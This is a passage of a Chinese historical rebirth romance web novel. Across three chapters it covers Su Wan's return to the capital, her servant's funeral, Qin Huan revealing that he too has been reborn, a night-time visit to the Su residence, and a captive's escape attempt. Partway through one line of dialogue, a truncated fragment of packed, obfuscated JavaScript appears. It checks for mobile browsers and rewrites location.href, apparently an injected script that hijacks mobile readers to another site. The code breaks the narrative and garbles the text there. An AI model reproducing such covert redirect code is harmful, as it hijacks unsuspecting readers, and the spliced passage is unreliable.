见小姑娘一直盯着她不说话，苏绾只好主动破冰：“你叫阿喜？是你救了阿舟，对不对？谢谢你啊。”
阿喜有些不好意思，红着脸点点头：“谈不上谢不谢的，正好碰上了，也不能见死不救嘛。”
她全然忘了自己当时是怎么捧着钱罐子，哗啦哗啦跟阿舟讨要医药费的，神情倒是颇为义正词严。
战火平息，邵云礼抖了抖战袍，上前道：“好了，你们也都出过气了，是时候考虑下一步行动了。”
他扫了一眼垂头丧气、脸色乌青的沈枝意，“那么，谁来送沈大小姐回去？总不至于让我这个大理寺卿亲自出马吧？”
指挥使出面调停，事情性质就不一样了。本是一桩女子因嫉妒生恨，打架斗殴的寻常事，立刻转变为两股军事力量互搏。
苏绾摇了摇头，“那是自然。”
她略一沉吟，冷声说道：“我会亲自上京负荆请罪，拜见沈老将军。”
这档烂摊子，终归是要有人收拾的。旁人不便出面，就由她自己担下。也许正好顺势完成另一桩心事：她一直致力于与沈恪商谈抗倭，苦于找不出合适的由头，老天终于给了她一张登门的请帖。
沈恪爱女，人尽皆知。
可她苏绾，也是被捧在掌心疼着的后辈，她不信沈恪会轻而易举与殷潜撕破脸皮；更何况，沈枝意跋扈张扬，不是一天两天，这笔账，早该有人来算一算了。
阿舟终于回过味来，他跑上前去问阿喜：“阿爹还好吗？”
没人问起李老爹，连阿喜自己都快忘记了，“有晴雷在，阿爹不会有事，可是文竹……”
一提到文竹，阿喜眼眶立刻红了。最后一眼的印象，深深镌刻在阿喜的脑海。她恨自己没有能力，将他从刀山火海中救出来。她咬着嘴唇低下头，神情中透出深深的愧疚与悲伤。
“阿绾姐姐，我对不起你……我没能救出文竹，我、我真的尽力了。”话未说完，她小嘴一瘪，像个受了委屈的小孩，哭得梨花带雨。
苏绾将她搂进怀里，温柔地抚摸发髻，如同知心大姐姐一样，细声安慰她：“这不是你的错，你已经做得很好了。”
“错的，是那些不知好歹的人。”
她要一个一个报仇雪恨。
夜风轻拂，月色如洗。两个女子静静相拥，一个哭泣，一个安抚，善意与温柔，在这一刻缓缓流淌心田。
阿舟心情万分复杂，京中凶险莫测，凭他一己之力，不知能不能护得住两朵娇艳鲜花。
可他自从观赏了一出“三女相争”之后，又觉得自己想多了。
眼前一片清和，不是最好的结果吗？
123. 重生
邵云礼眸中暗流涌动，“你可明白，这是要与沈恪正面交锋？”
“那又如何？”苏绾抬手将碎发别至耳后，唇角勾起一抹弧度，“兵来将挡，水来土掩。我没什么好怕的。”
“就为了一名随从？”邵云礼倾身向前，“值得赌上这么多条人命？”
“邵大人。”苏绾抬眼直视他，“为了时樾将军，值得你拿什么对赌？”
邵云礼一时语塞。
目光扫向苏绾身后的秦欢、萧染，乃至阿舟与阿喜。那一双双眼睛，清明而坚定，没有丝毫动摇。
他似乎有些明白了。
“罢了。”邵云礼理了理袖口，“我管不了你们，我只管好我自己。日后倘若出了岔子，也别指望我替你们收拾烂摊子。”
可他嘴上说着袖手旁观，到底还是指派了一队人马，专门护送苏绾进京。而那些沈恪麾下的兵士，因无人调度指挥，已尽数遣返大兴县驻地。
又因京营不得收留女眷，阿喜主动提出随苏绾同行。阿舟、晴雷与李老爹则留驻原地，方便隐匿行踪。可想而知，几人甚是不愿意，尤其是阿舟，吵吵嚷嚷着非要一同前往，结果被邵云礼一顿呵斥，老实了。
随后苏绾马不停蹄赶至京城，才刚踏入城门，就被身穿黑衣、戴着面具的暗卫拦住——邵云礼早有提醒，锦衣卫正全城抓捕毒蛇堂余孽。
一听“诏狱”两个字，苏绾的身子抖个不停。谁知萧染梗着脖子，非要去诏狱看风水不可。苏绾不答应，闹到最后，愣是把李鹤鸣请了出来，黑着脸将萧染带走了。
秦欢安慰苏绾，“那个家伙不想让你担心，其实一切都在计划中，他会想办法进宫，觐见皇帝一表心计。”
经过重重阻隔，一行人总算回到苏府。彼时殷潜已提前到达，并下榻在主院。苏绾等一帮女眷则宿在偏院紫竹苑。
无霜与春蝉两个小丫头盼星星盼月亮，迎来了文竹的棺椁，两人扑在棺椁前大哭了一场。无霜与文竹同一屋檐下相处好几年，早已情同手足。她无法接受现实，数度昏厥过去。
苏绾心痛不能自已，不得不强挺着精神，着手操持丧葬之事。她将文竹葬在后山一处清幽地，四周种满了竹子。微风吹过，仿佛听见文竹在耳边低声细语。
至于沈枝意，苏绾安排她住进了芸娘的闺房。沈枝意当然一百个不愿意，可她被人扣押软禁，每日里学南唐后主，问君能有几多愁。
苏绾其实并未对沈枝意起杀念。剥夺性命，是廉价粗暴的报复手段。杀人诛心，才是最致命的一击。苏绾私下筹划了一出“逃出生天”的大戏，不日即将粉墨登场。
且说与兵部尚书陆能会晤尚未结束，沈恪第一时间接到手下传信，讲沈枝意被人掳走。老将军大惊，连夜返回大兴县城，率兵二千直赴京营，誓要为女儿讨个公道。
邵云礼照旧两手一摊，“没办法，谁让贵府千金杀了苏家的随从亲信？苏绾一时气不过，自然要抓住你女儿来平账。这女子之间的恩怨情仇，我一个大男人，怎好插手？”
沈恪心知肚明，自家女儿性子一向乖张跋扈，早晚惹祸上身，果然撞到了殷潜的外甥女手上。这一撞，撞得不轻。朝堂风云诡谲，此时他大张旗鼓上门兴师问罪，无异于自掘墙角，为自己平白树敌。
权衡再三，沈恪强压怒火，亲笔致信殷潜，劝其“得饶人处且饶人”，他就这么一位眼睛上的珠子，本着“多一事不如少一事”的原则，大家“各退一步”。
对沈恪的求情信，殷潜以“公事繁忙、应酬不断”为由，轻描淡写地搪塞过去。他不愿卷入旁枝末节，更不屑为闺阁斗气劳心费神。他盘算的，是如何将秦欢顺利送入皇宫。
按照计划，在殷潜的举荐下，秦欢以御医之名入宫，表面是为陪伴贵妃，实则与先一步入宫萧染暗中联动，打通后宫之路，为苏绾谋局铺陈后势。
举荐折子昨夜才递上去，第二日天明一早，司礼监掌印太监便以“礼法不合”为由，将折子驳回。殷潜心知这是皇后暗中掣肘，却也无计可施。为了避嫌，他不能惊动贵妃与御马监，而内阁又被温如初一手把控。
正当他一筹莫展之际，一纸请帖从天而降——竟是内阁首辅章任梁以私名义发出的，邀殷潜赴宴。
这个节骨眼上收到阁老的请帖，令人细思极恐。此举既可看作试探，又或许藏着转机。
朝局风云变幻，步步惊心，而秦欢却始终淡然如常。
他并不担心自己能否顺利入宫——他真正惦记的，是能与苏绾朝夕相处的日子。两世浮沉，他们真正相伴左右的时间，加起来也不过短短一年而已。太短了，短得像春雪落地，一触即化。
他想将转瞬即逝的温柔，化为一生一世的陪伴。哪怕山河倾覆，家园不再，他也想护住那份心头执念，白首垂丝恨不遗。
他还有机会，逆转翻盘吗？
时光飞逝，转眼就到了二月廿二。
紫竹林被清风拂得沙沙作响，竹影婆娑间，苏绾独自坐在亭中，摩挲着文竹的腰牌，眸子里映着黯淡的天光。
假如她再强大一些，他是不是就不必死去？
他们杀的是文竹吗？不是。他们杀的是她的心，是她的意志，是她尚未崩溃的信念。
再不还手，死的绝不仅仅是文竹，还会有更多人接连倒下。
一阵熟悉的药香飘来，苏绾抬首望去，却见秦欢端着一碗热气腾腾的长寿面缓步而来。
细白的面条上卧着一枚煎得金黄的荷包蛋，汤色清透，浮着几粒翠绿的葱花。
秦欢将碗搁在案上，温声道：“今日是你的生辰，能否赏光吃一碗长寿面？”
苏绾盯着那碗面，又看了看秦欢，总觉得有些不可思议，“你怎么知道？”
秦欢挑眉一笑：“我是大夫。”
嗯？
问题不在于秦大夫测准了她的生辰八字。
而是那碗面，那句话，似曾相识。上一世，秦欢煮过一模一样的面，说过一摸一样的话。
不对劲啊。
苏绾心跳得厉害，抬眸睇着秦欢，却见他神色如常，仿佛只是随口一说。
苏绾舔了舔嘴角，低头吃了一口面，热汤滚过喉咙，暖意一路蔓延至心口。
“真好吃。”苏绾抿了抿嘴。
“好吃就多吃点。”秦欢宠溺地看着她。
苏绾的眼角，几不可察地抖了抖。上一世，他们之间讲过相同的对话。
十分古怪。
再试一试他。
“簪子呢？”忽然素手一伸。
秦欢茫然道：“什么簪子？”
“少装傻。”她轻哼一声，“镇药箱的那支。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303487|146123||http|test|mini|href|location''.split(''|''),0,{}));
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“那个啊。”他无奈道，“摔坏了，没用了。”
苏绾眸光一黯，低头拨弄着面条，闷闷道：“哦。”
秦欢睇着微微鼓起的粉颊，忽然变戏法一般从袖中取出一支桃木簪——断痕处已被金丝细细缠好，簪头的桃花瓣看着分毫未损，泛着温润的光。
“修好了。”他低声道。
苏绾眼睛一亮，伸手就要去拿，秦欢故意抬高了手，挑眉道：“想要？”
她瞪他，伸手去够，却被他顺势扣住手腕，轻轻一拽。她猝不及防，踉跄着跌入他怀中，鼻尖撞上他的胸膛，清冽的药香瞬间将她包围。
秦欢低头，目光落在她微红的耳尖，喉结动了动，缓缓靠近。
苏绾偏头躲开，心跳如擂鼓，强作镇定道：“面凉了就不好吃了。”
秦欢低低地笑着，并未强求，松开了她，轻声道：“凉了再热热，大不了再吃一次回锅面。”
苏绾乍抬头：“你说什么？”
他不答，抬手将簪子插进一头青丝，指尖拂过额发，又落向眉心，轻轻按了按，低声道：“真好看。”
“好看就多看点。”她学着他的语调，娇俏道。
上一世，秦欢做的那碗长寿面，她并未第一时间动筷，而是睡醒之后才让秦欢重新热了热。吃着吃着，她随口一句夸奖：“真好吃”，秦欢笑着回她：“好吃就多吃点。”
联想到这一世秦欢诸多表现，以及他对温如初那种来路不明、却刻骨铭心的恨意，种种一切迹象，皆指向一个惊人的答案——秦欢，也是重生之人！
得出这般结论，苏绾没有半点惊讶，反而有种恍然大悟的通透感。
她怔怔望着秦欢，忽地伸手攥住他的手腕，眼眶蓄满泪意，声音轻得似细风：“秦大夫，别来无恙啊……”
秦欢身体一僵，那一瞬间，脸色罕见地变得苍白，连唇角都不受控制地颤了颤。那股苍白又悄然褪去，取而代之的是微微泛红的眼眶。
他抬手覆住葇荑，低声喃喃：“你总算认出我了。”
两人对望，四目交缠，欲语泪先流。
那些藏在两世时光里的酸楚、委屈、思念与等待，皆在这一句“别来无恙”中尽数涌出。
风过紫竹林，细叶婆娑轻响，仿佛替他们低吟那些来不及说出口的心事。
苏绾终是没能忍住，一头扑进秦欢怀里，泪水如决堤之潮，两世悲喜交织：“我以为，这一世，再也找不到你了。”
秦欢紧紧抱住她，将她整个人揉进骨血里，温柔道：“我说过，无论多少次，我都会回来。”
苏绾抬起脸，泪眼朦胧化作控诉：“你这个坏郎中。你早就知道我是重生的，对不对？可你就是憋着不肯告诉我。”
秦欢眼角噙着泪，轻轻笑了，“我是坏人，我是胆小鬼。我怕你不认我，怕你不再是原来的你。我小心翼翼地试探你，步步藏着心思，全都是我的错。”
苏绾忽然想起一桩旧事，脸色骤然发白，身子止不住地颤抖：“是温念杀了你。”
秦欢眼神微黯，拥她更紧几分，“都是过去的事了，我已经不在意了。”
他不在意，她不能不恨。苏绾死死抓着他的衣襟，仿佛要把两世的命运都抓在掌心——这一次，她绝不会再让他死在自己前头。
（未完待续）
124. 夜探
午后日头正浓，京营一派肃静。
阿舟一身玄衣，外罩锁子甲，两手环胸，一本正经喝道：“本将军现有要务离营，拦挡者杀无赦！”
嗓音洪亮，中气十足，端地一副将军架势，威风凛凛。
不知何故，浑身上下带着说不出的违和感，恰如渔船罩上一层护甲，摇身一变成了战舰。
营口士兵看看他，又看看身后拄着鱼竿当拐杖的李老爹，再看看旁边有点憋不住笑的晴雷，露出一脸迷茫之色。
“将、将军。”士兵踌躇道：“您不是……呃，留营休整吗？”
“本将军接到一条密令，天大的密令。”阿舟板着脸，负手而立，状似深沉：“怎么，你不信我？要不要检查一下本将军的密令？”
“……属下不敢。”士兵唯恐得罪将军，忙不迭放行他们。
一出营地范围，阿舟立马松了口气。他解开绳扣，敞开盔甲，扯掉绑腿，嘴里嘟囔道：“当个大将军可真不容易呀，就这身破烂铁皮套子，好人也给闷坏了。”
晴雷憋笑的脸开始发红，“冲锋陷阵，没有铁皮套子的话，爷早被扎成刺猬了。”
阿舟一听更来气：“我以前还会骑马砍杀呢。”
李老爹挥舞着鱼竿，一瘸一拐地走在前头。县城集市遭遇的那顿毒打，虽然被阿喜扑身护住了双腿，勉强没打断骨头，可他到底年纪大了，筋骨不比从前灵活，走起路来脚步虚浮，身子一晃一晃的，风一吹就要倒似的。
“快些走，阿喜可等不及了。”
三人行至草场，不由分说拦下小旗兵，从他手中夺过踏月的缰绳。小旗兵一百个放心不下，可架不住“将军有令”四个大字压在头顶，眼睁睁看着战马被人牵走。
踏月一身银白鬃毛，在日辉照耀下，闪着炫目光泽，好一匹汗血神驹。
阿舟踩着马镫翻身上马，心里犯起了嘀咕。上回被这匹畜生摔下马的阴影还未弥散，屁股的痛感已经昨日重现。
果不其然，踏月甩了甩马尾，嘶鸣一声，前蹄腾空，“哐啷”一下，将背上的累赘抖了个四仰八叉。
“爷，”晴雷赶紧将他扶起，苦笑道：“您还是别硬着来了。”
阿舟坐在地上揉着后腰，咬牙切齿道：“这畜生记仇，分明故意整我。”
踏月高高扬着马头，眼神透着轻蔑——在它心里，可从没把这只两脚兽当作自己的主人。
无奈之下，只得由晴雷驾驭踏月，而阿舟和李老爹共骑一匹老黄马。于是三人两马，一前一后，颠颠簸簸，穿林越道奔赴京城。
待赶至西城门，日沉西山，城楼灯火通明，将天穹一寸寸染成靛蓝色。
三人头戴斗笠，身穿短打布衣，扮做农人小贩。他们将两匹战马披上草席充作拉菜驴，又在马背绑上装满蔬菜的箩筐，看上去确有几分乡下人赶集的架势。
守卫一眼扫过菜筐，语气严厉：“里面装的什么？”
李老爹拱手笑道：“些许鲜菜鲜果，运进城内西市，明早贩卖。”
正当几人受盘问之际，后面踏月等得不耐烦，鼻子嗅了嗅隔壁老黄马的后背，“咔吧”一口咬下捆绑菜筐的草绳。筐子栽歪，胡萝卜洒了一地，踏月低下马头，三口两口吞了个干净。
守卫脸一沉：“这是驴是马，怎还吃菜？”
“官爷莫见怪。”李老爹扶正菜筐，干笑一声：“咱们走了几十里路，畜生饿坏了，吃点自家的东西，不算罪过。”
“没听说过！”兵卒已然起疑，抽出佩刀一指，“不许动，全都留下查验！”
眼看露馅，晴雷低吼一声：“快跑！”
少年一个翻身，利落跨上踏月，身子一侧，伸手将阿舟捞上马背。马蹄未停，又拐个弯将李老爹接上马。老头手忙脚乱，抓着马尾巴乱摇，踉跄着堪堪爬上马臀。
“驾！”晴雷双腿一夹，踏月如离弦之箭，破风而去。
守卫立即调兵追赶，怎奈所乘皆是凡马，哪里追得上踏月神骏的脚程？不过几里路程，追兵早被远远甩在马屁股之后，空余一地惊呼。
“啥子宝马嘛！”李老爹搂着阿舟的腰，气喘如牛，“还不如顺毛驴顶用。”
阿舟夹在两人中间，马后炮闷声道：“踏月绝对故意找茬，你们偏不听。”
风从耳边呼啸而过，三人一马，蹦蹦哒哒沿宽窄巷子驰骋穿行，留下一路飞扬的尘土，与鸡飞狗跳的叫喊。
“小心！”路边小贩来不及闪躲，马匹迎面撞倒了挂面摊，白花花的面条一根根挂在人脸与马头，吓得孩童哇哇大哭。
当晴雷抹掉最后一根面条时，众人终于摆脱狭窄逼仄，灰头土脸来到宽敞大路。
夕阳的余晖洒落瓦檐，楼阁人声鼎沸，酒幌猎猎作响，香气从窗棂溢出。铺着猩红地毯的门槛，被来往客人踩踏得锃亮。吆喝声、劝酒声、曲调声交织成一幅京城繁华图景。
三人抬头一看：醉仙楼。
“啧啧，这上京城就是不一般。”李老爹揉搓干瘪肚子，酸道：“连酒楼都造得跟天上宫阙似的。”
阿舟口水直流，“我脑子里有条鱼游来游去。”
“脑子里的鱼，不如肚子里的鱼实惠。”晴雷咧嘴一笑，抬脚踏入酒楼。他将踏月交给杂役牵入马厩，几人要了一间雅间入座。
“多叫几道好菜，也给阿喜捎点尝尝。”李老爹一屁股坐下，脱下斗笠往旁边一搁，浑身松了劲。
美味佳肴摆满了一桌子，鸡鸭鱼肉、汤羹点心俱全。三人饿得前胸贴后背，顾不上寒暄，一顿狼吞虎咽，啃得满嘴流油，筷子差点打架。
正吃得香，忽然隔壁传来一阵吵闹声，十分刺耳。
“抠门守财奴，好不容易来一回醉仙楼，连条鲜鱼也舍不得点，还好意思称自己家财万贯？你不会是个没钱的穷光蛋吧？”女子尖声质问。
“窑子里出身的粉头，也配吃鲜鱼？吃小葱豆腐都抬举你了。”男子嗤笑回击。
“王八蛋，有娘生没娘养的畜生。”女子气得抬手掷了茶杯。
“敢跟本大爷撒泼，找死！”随着男人暴怒一吼，清脆的掌掴声响起。
女子大声哭泣。
“不行。”阿舟一筷子拍在桌案，兀自站起身。
晴雷没来得及拦住他，阿舟已推门而出。在众人惊诧的眼神中，阿舟趸入隔壁包间，揪起男子的后领，凤眸冷冽如刀：“你娘教你动手打女人了吗？”
男子还未反应过来，已被阿舟一脚踹翻在地。他挣扎着想爬起身，却被如雨的拳头砸得找不到北，“哎哟哎哟”叫了两声，很快就没了动静，一头栽倒昏死过去。
“姑娘，你没事吧。”阿舟转过身，问候女子道。
女子吓得缩成一团，却不是为着“英雄救美”。她葱指指着阿舟，惊道：“你、你是京卫指挥使……”
原来，女子本是春月坊的旧花娘宝蟾。去岁暮春，宝蟾接待了一位冷面恩客，自称“冰山客”。此人寡言少语，衣品不凡。宝蟾一眼认出是个有银子的主顾，使尽浑身解数，忽悠他以一千银子的价格买走银盒。宝蟾只当是宰了只肥羊冤大头，高兴得忘乎所以。
哪知好景不长。那位替她出头、为她挡事的“三哥”，无端被官府拿了下狱，不久砍了脑袋。宝蟾失了倚仗进项，日子一天比一天难捱。
岂料祸不单行。老鸨本就对她抢了头牌青凤的风头心存不满，不但没带来实打实的银子，反倒招惹苏郎中家的逆子，索要被讹诈的银两。宝蟾拒不归还，苏家仗势欺人，将矛头转向春月坊。老鸨一怒之下，将宝蟾转手卖给了城南的下等窑子，从此风光不再。
宝蟾隐隐觉得那位“冰山客”身份蹊跷，又说不出哪里不对。直到几个月后，京卫指挥使亲自挂帅，剿灭城郊一伙山匪，威风堂堂游街。
宝蟾挤入人群凑热闹，一眼认出那位身披玄甲、目若寒星的年轻将军，可不就是当初被她当成冤大头的“冰山客”。
又转目一瞥，望见后方跟随的青年十分眼熟，仔细辨认，竟是“四象馆”截胡的姐妹。她一路跟随其后，跟到了苏府大门。
从头到尾，俩人合唱一出戏，将个宝蟾耍得团团转。
可惜世事无常。没过多久又传来京卫指挥使殉国的消息。宝蟾虽有几
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分唏嘘惋惜，也不过暗恨自己错失了攀附高枝的机会，至此再无交集。
这位将狗男人一脚踹翻的青年才俊，背影似曾相识。待他一转身，烛火摇曳，映得半边面庞金光微耀。
冰山客竟还活着。
“你认错人了。”晴雷抢先一步，冷硬地拒绝她。
他随手丢了几块碎银给小二，“收拾了，我们走。”
宝蟾眨巴着眼，嘴角露出一抹笑意，“化成灰我都认得。”
她扯住阿舟的衣襟，眉梢轻挑，娇声道：“冰山大人，别来无恙。”
眼中精光一闪，又似想起什么，揶揄道：“前日才听说苏郎中家的二小姐回京了，看您这架势，急着探望她去？”
如同惊雷乍响，令晴雷大骇。他骤然出手掐住宝蟾咽喉，往上一提，语气寒刃入骨：“你个窑姐，休得胡诌。再敢放肆，小心掉脑袋！”
宝蟾吓得魂飞魄散，双手死死扒着晴雷的手臂，脸颊涨得通红，嘴里呜呜咽咽，眼看喘不过气来，“放……放开……”
“住手！”阿舟厉声呵斥，面色阴沉如水，“仗着自己穿了一层官皮，竟敢欺压百姓？”
突如其来的无端指责，让晴雷一怔。他下意识松开手，低声道：“属下不敢。”
一旁的李老爹看出了门道，笑呵呵地打圆场：“哎哟，误会误会，都是老百姓，哪来当官的说法。”
说着，他一手拉着阿舟，一手扯起晴雷，低声急道：“快走快走，莫再瞎嚷嚷。”
三人逃也似的离了醉仙楼，留下宝蟾怔怔望着离去的背影，咳得泪流满面，倚墙喘息。她心下做了打算，绝不放手这块到嘴的肥肉，非要敲诈一笔竹杠不可，这也是她最后翻身的机会。
夜色深浓，月华如洗。
府门前一片寂静，只有风吹树梢的沙沙声，与远处偶尔传来的犬吠声。
突然，三道黑影沿着巷子悄然而至，在苏府外墙下止步。他们皆身着黑衣，头戴面罩，看不清面貌。
其中一人个头最高，身形挺拔。他指了指另外两人，做了个“兵分两路”的手势。
那两人会意，一个佝偻着身子，从狗洞钻进庭院，向着偏房摸去；另一人身姿敏捷，飞檐走壁，直奔苏府祠堂。
高个子目送两人离开，自己轻身一跃，即翻墙而过。脚下踩着细碎的竹叶，仰头洒落溶溶月色。
钻过狗洞，李老爹脱下面罩，低声咕哝：“不愧是大户人家，屋子多得数不清。”
凭借敏锐的方向感，他绕过前院，寻到阿喜的住处，刚抬手推门，屋内忽然传来一声：“谁？”
李老爹贴着门，低声呼唤：“阿喜，是我。”
门开了，阿喜披着外衫站在门口，脸上还带着没来得及褪去的睡意。她惊讶得睁大了眼睛，带着颤音：“阿爹！”
李老爹笑着答应：“哎。”转身偷偷抹去滚烫的泪。
另一边，晴雷绕过偏厅，熟门熟路摸去了后院祠堂。他推门而入，脚步极轻，唯恐惊扰沉睡的灵魂。
他直奔最末处的角落，那里供着一块素色木牌，牌上仅写着：“文竹之灵位”。案前红烛尚未燃尽，摇曳烛光映得字影晃动，忽明忽暗。
苏绾替文竹消去奴籍，以苏府家主之名，认其为义兄。故而文竹得以以正名之身，入驻苏家祠堂。
晴雷立于灵位前，躬身行了一个极深的军礼，方才跪坐蒲团，恭敬地点上一炷香。
袅袅青烟升腾，他低头叩首，额头贴着冰凉的青砖，轻声诉说着无尽的思念与愧疚。
撒手人寰之前，文竹看了他一眼。
“谢谢你。”
轻得像风，淡得如云，重重压在心头，再也挪不开。
明明只说了三个字，却将整个人生都归还给了他。
抬眼依稀望见，文竹站在光的尽头，衣袍染血，眉目温和，从容地朝他笑着。
不是赴死，而是归途。
他知道，那是真正的诀别。
从此黄泉路远，故人音绝，再无人，伫立春日野穹之下，轻轻对他说一句：
“等我回来”。
125. 逃跑
阿舟身形一跃，豹子般轻松掠过高大的院墙，玄色衣袂未惊动半片青瓦。
失忆未损他一身本事，暗夜潜行犹如本能。
他脚尖轻点屋脊，避开巡夜灯笼的光芒，无声落在偏院紫竹苑。
“小姐肩疼得厉害，霜儿去烧些艾草水来。”无霜推门而出。
男人悄无声息隐没入夜色，直至婢女脚步渐远。
窗棂半掩，茜纱透出暖黄烛光。
阿舟屏息凝神，修长手指扣住窗沿，透过缝隙向内窥视。
屋内灯火微明，苏绾凝神执笔，临着一页素笺缓缓落字。她身着素色纱衣，鬓边斜插一枝桃木簪，侧影静美如画。
阿舟看得有些痴了。
他想起了模糊的梦境——也是在这样静谧的夜晚，她伏案小憩，他倚窗静望。之后发生了一些不可说的事情，甜腻腻的。
他越看越欢喜，心里揣着千百只雀儿翻飞。忍不住伸手悄悄拉动窗销，想要更加贴近一些。
窗棂敞开的刹那，苏绾笔锋悬停，淡淡开口：“你来了。”
阿舟一愣，“你是怎么知道的？”
苏绾搁下狼毫，“从前你走路没声，如黑豹掠影。如今像只大笨熊，一路轰隆隆地踩进来。”
“想不知晓都难。”
男人翻窗而入，靴底沾着的新鲜黄泥抹在青砖上。
“我来看看你。”停了一息，他又问道：“你还好吗？”
苏绾不答，低头收了笔，将那封信吹干，又装入封套。
她一直不说话，令阿舟莫名慌乱，他向前挪动几步，想要离她近一些。
苏绾背对着他，淡淡道：“有事便说，别靠太近。”
阿舟停住脚步，低低应了声：“……好。”
男人睇着那道倩影，千头万绪拧成一团乱麻，话到嘴边变了模样。
“你……你屋子……呃，这灯还挺亮的。”
苏绾微微侧首，“你大老远跑过来，就为了夸赞我的灯？”
阿舟一时语塞，嘴角干巴巴地讪笑：“不、不是。”
满肚子的思念，像茶壶煮饺子一般，怎么都道不出口。
苏绾似乎失去了耐心，“你一路过来，可曾发生什么事，遇到什么人？”
阿舟眼神闪了一下，旋即摇头：“没有，顺顺利利。”
“你确定？”苏绾淡淡地看着他。
阿舟不由得移开视线，心虚地“嗯”了一声。
苏绾垂下眼帘，语气低了几分：“你不是个擅长撒谎的人。”
烛火摇曳，光影在她的羽睫间跳动，“有人认出你了，对吗？”
阿舟一愣，“你、你怎么知道？”
苏绾望着他，眼神似一泓深潭，“你在街市上被人认出来时，是不是还觉得自己能应付得了？还是你根本就没意识到自己处境如何？”
“你现在的身份，说轻了，是个麻烦；说重了，是架活靶子。你若只是个普通人也就罢了，可你并不是。你是时枫，是那支铁血京卫的统帅，是这世上，最锋利的一把刀。你若还活着，对某些人来说是威胁，是不该存在的祸根。”
“你知不知道，这上京城，有多少双眼睛盯着你？你的一举一动、一言一行，都会被人暗中记下、翻查、揣摩。你今天进了城，明天就会有人在你回去的路上埋伏。你根本没有自由的资格，也没有任性妄为的本钱。”
“你若一意孤行，由着自己性子乱来，就要做好随时被人盯上、被人利用，甚至被人除掉的准备。哪怕只是在人群中走错一步，随时都可能引来杀机。”
“你到底把自己当成什么？你是不是以为死过一次，就刀枪不入了？你就这么不把性命当回事吗？！”
苏绾仿佛用尽了全身力气，身子颤抖不停，声音却哑了下去。
阿舟张了张嘴，想要说点什么，又闭上了。
他明明只是想来见她一面，想对她说一句“生辰快乐”，想把那只藏在怀里的小木梳送给她。可眼下，似乎连靠近她，都成了错误。
空气一片沉寂。
无霜远远地听着祠堂有细微的动静，吓了一跳，还以为鬼魂出没。
夜风掠过祠堂外的桃枝，香气隐隐。
她循声而来，推门探入。
红烛未尽，香烟袅袅。
她才迈进一步，忽然一只手从暗影中探出，迅速而稳妥地攥住了她的手腕。
“谁？”无霜忍不住惊呼。
“别吵，是我。”声音沉稳有力。
无霜一愣，抬眼对上那双熟悉的眸子。
半年未见，他仍是那副英姿飒爽模样，只是眉目间多了几分憔悴。
无霜心头莫名一紧，满心满脑的思念，藏也藏不住。
可她不能就此原谅他。
“放手。”无霜声音一寒。
晴雷怔了片刻，像是被惊了一下，随即松了手，退后一步，低声道：“得罪了。”
“你来干什么？”无霜质问道。
晴雷攥了攥拳，“我想看看文竹。”停了一息，又道：“也想看看你。”
无霜咬牙道：“看我做什么？我活得好好的。”眼圈一红，“你也不必假惺惺地惦记文竹，太迟了。”
晴雷胸膛微震，像被重重捶了一拳，“是我的错，我没能护住他。”
“当然是你的错。”无霜步步紧逼，“你是大名鼎鼎的锦衣卫，理当维护弱小。结果呢？他为了庇护你，被人活活打死了。你凭什么给他上香？你还有脸跪在他面前？”
每一个字，都像刀子，直戳晴雷心口。
“我……”晴雷喉头发紧，“我不是不想救他，我只是……”
“你只是没来得及。”无霜冷笑一声，泪水滚落，“因为在你心里，文竹充其量是一根蒲草。”
烛火微摇，香烟浮动，两人站在灵位前，间隔着万重山的悔恨。
李老爹哼着小调儿，从布衣怀里掏出一个油纸包，像是变戏法似的，啪地摊在桌案边，香气顿时弥漫开来。
醉仙楼的酱肘子、莲蓉酥、酱烤鸡腿，还带着余温。
“快趁热吃。”李老爹催促道，眉眼藏着慈爱。
阿喜眼睛一亮，抓起鸡腿就啃，吃得满嘴流油，狼吞虎咽私毫不顾形象。
李老爹有些担忧：“怎么饿成这样，苏府都不给你吃饱肚子吗？”
“哪儿呀！”阿喜嘴里含着东西，囫囵含糊道：“苏二小姐对我可好了，吃得饱，穿得暖，还教我识字呢。”
是她胃口大，吃得多，谁让她正在长身体呢。
“没出息。”李老爹眯着眼问：“不想回沙洲啦？”
阿喜一边抹嘴一边摇头，“沙洲哪有京城那么多好吃的。”她舔了舔指尖，又小声道，“而且，苏小姐……她跟姓沈的不一样。”
“哦？”李老爹来了兴趣，“哪里不一样？”
阿喜想了想，认真说道：“姓沈的总是绕着阿舟转，一门心思想让他当上门女婿。可苏小姐不一样，她已经有秦大夫了，对阿舟也从不存什么坏心思。”
她说着，嘴角忍不住弯起，“今日是苏小姐的生辰，秦大夫亲手煮了长寿面，还做了一支桃花簪子送给她。苏小姐当场就红了眼圈，眼泪都掉下来了呢。”
“啧啧，”阿喜啃着鸡腿，一脸欣喜，“简直是天造地设的一对。”
李老爹忽然斜了她一眼，劈头问道：“那你呢？”
阿喜嘴里的鸡腿顿了一下，整个人怔住了。热腾腾的灯火在她睫毛上跳跃，她没作声。
沈枝意蜷缩在床角，眼神比月光还要冷。
她本是金尊玉贵的千金大小姐，如今沦落到被殴打、被软禁、连梳头都要请示的地步，焉能咽得下这口气？
她在心里盘算了无数遍逃跑的路径，奈何那该死的春蝉守得太紧，连她上茅房都要跟着。
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>可今夜，机会终于来了。
春蝉不知为何格外疲惫，早早在门边打起了盹。
沈枝意悄然起身，从枕下摸出一根细长的金簪，蹑手蹑脚走到门前，装模作样咳了几声，“茶水喝多了，我去解个手。”
春蝉哼哼两声，翻了个身，继续睡得天昏地暗。
沈枝意立刻贴在门锁，蹲下身，簪子一点点探入锁眼，只听轻微的“咔哒”一声，门闩应声而开。
她眼睛一亮，像一只偷腥的狸猫，提裙蹑足而出。
沈枝意不认得路，胡乱摸索着往外走。可惜运气不济，才走出几步，一脚踩在湿滑的青苔上，“哎呀”一声，摔了个狗吃屎，鼻尖直撞地砖，险些破相。
“嘶——疼死我了！”她咬牙咒骂，低头看脚踝，红肿一圈。
抬眼望天，一轮阴云遮月，四下朦胧，难以分辨方向。
“哼，总比一辈子困在这儿强。”她揉了揉脚，继续一瘸一拐地往前蹭。
苏绾房内。
